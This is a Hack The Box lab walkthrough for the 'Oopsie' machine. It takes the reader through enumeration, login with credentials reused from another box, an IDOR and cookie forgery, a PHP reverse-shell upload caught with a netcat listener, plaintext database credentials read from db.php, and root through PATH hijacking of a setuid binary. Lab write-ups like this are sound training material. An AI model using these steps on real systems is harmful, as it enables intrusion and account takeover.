HTB - Oopsie

Category: Machines
Difficulty: Easy
Description: -


Target Enumeration

We have this ip: 10.10.10.28.
The first thing that we are going to do is to scan that ip in order to see which ports are open:

$ nmap -p- -sC -sV 10.10.10.28
Nmap scan report for 10.10.10.28
Host is up (0.041s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 15 19:29:35 2021 -- 1 IP address (1 host up) scanned in 29.03 seconds

From the result we can see that there are two services availables:

This is the website hosted: Website main page

We can see that the website belongs to the MegaCorp company, and that company is the same of another machine (Archetype). Scrolling down there are some info about the company, and at the end of the page we can read that they have an email address in the contact page: admin@megacorp.com. Apart from that we canโ€™t see other interesting things, so lets open OWASP ZAP and spider the site to see if we can find other pages.

OWASP ZAP's spider result

Looks like there is a login page at the url /cdn-cgi/login, so lets examine it in the browser.

login page

Spawn a Shell

Looking at the mail address previously discovered, maybe there exist a user called admin**. And since the company is the same of the Archetype machine (and there we have discovered the admin password: **MEGACORP_4dm1n!!), maybe trying with this credentials we can gain access.

page after login

Nice!
From the top menu we can see that they have an upload page, but if we try to see its content it displays the message: This action require super admin rights. So in order to use that page we have to become super admin.

Viewing the Account page we can see the use id of our profile, together with his name and his email address.

page after login

Inspecting the requests sent to view this page we can see that this site sets custom cookies for a user id and a role:

GET http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1 HTTP/1.1
Host: 10.10.10.28
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1
Cookie: user=34322; role=admin
Upgrade-Insecure-Requests: 1

And we can also notice in the get parameters that our admin user has an id equal to 1. Now we can bruteforce this parameter with OWASP ZAP and see which one correspond to the super admin user. Trying the id 30 we can see this data in the page:

superuser id found

Oh great, we find it. Now we can modify the cookie containing the user id with the one showed in this page to access the Uploads page and see if we will find something interesting.

upload page

Really nice, we can upload the file we want, and why not one with a reverse shell? I used this one and modified to contact my machine at port 8888. Ah and set up a netcat listener on that port too (with nc -lvnp 8888). Now to trigger that reverse shell we have to make a get requests to the php page that we have just uploaded, butโ€ฆ where does it save our file? Since we do not know other useful url, we have to enumerate the web server and hope we will discover something useful. I have done this with gobuster:

gobuster -u http://10.10.10.28/ -w /usr/share/dirb/wordlists/big.txt

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.28/
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirb/wordlists/big.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2021/06/16 11:13:37 Starting gobuster
=====================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
/server-status (Status: 403)
/themes (Status: 301)
/uploads (Status: 301)
=====================================================
2021/06/16 11:15:10 Finished
=====================================================

Wait, it found the /uploads url, and probably our file is there, and if it is right all we have to do is make a simple get request with curl. Something like this: curl http://10.10.10.28/uploads/php_shell.php, and โ€ฆ

$ nc -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 10.10.10.28 54458
Linux oopsie 4.15.0-76-generic
 13:38:47 up 57 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
robert   pts/6    10.10.14.103     12:51   41:51   0.10s  0.00s sshd: robert [priv]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

it works! We are in!


Privilege Escalation

First of all, lets stabilize the shell:

$ which python3
/usr/bin/python3
$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@oopsie:/$
Ctrl-Z
$ stty raw -echo
$ fg
www-data@oopsie:/$ reset
www-data@oopsie:/$

Ok now we have tab-completion, we can use the arrow keys to move in the input line and we have access to the command history.

Since there are more than one user, maybe the records that contains all the users are stored into a database. If we inspect the site directory we can find a db.php file, and looking inside it we can see that it contains the credentials for the connection to the database:

www-data@oopsie:/$ ls /var/www/html/cdn-cgi/login
admin.php
db.php
index.php
script.js
www-data@oopsie:/$ cat /var/www/html/cdn-cgi/login/db.php
<?php
    $conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

Using those credential we can login as robert:

www-data@oopsie:/$ su robert
Password:
robert@oopsie:/$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

From the id command we can see that robert is a member of bugtracker group, so we can search if there are some files with special access for that group:

robert@oopsie:/$ find / -type f -group bugtracker 2> /dev/null
/usr/bin/bugtracker
robert@oopsie:/$ ls -l /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker

There is a bugtracker binary, and it has the set uid bit enabled, so when we execute it we temporarily become its owner, and its owner is the root user. If we try to execute it, it asks us for a bug id:

robert@oopsie:/$ bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 0
---------------

cat: /root/reports/0: No such file or directory

robert@oopsie:/$

It seems like it execute cat. Using the strings command on the binary we can see that it uses the relative path of the cat command instead of the absolute one:

robert@oopsie:/$ strings /usr/bin/bugtracker
...
...
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
cat /root/reports/
...
...
robert@oopsie:/$

So we can create a fake cat executable, add it to the PATH environment variable and launch again the bugtracker binary and it will execute our cat:

robert@oopsie:/$ mkdir /tmp/aaaa
robert@oopsie:/$ cd /tmp/aaaa
robert@oopsie:/tmp/aaaa$ echo '/bin/bash' > cat
robert@oopsie:/tmp/aaaa$ chmod +x cat
robert@oopsie:/tmp/aaaa$ export PATH="/tmp/aaaa:$PATH"
robert@oopsie:/tmp/aaaa$ bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 0
---------------

root@oopsie:/tmp/aaaa# whoami
root
root@oopsie:/tmp/aaaa# id
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)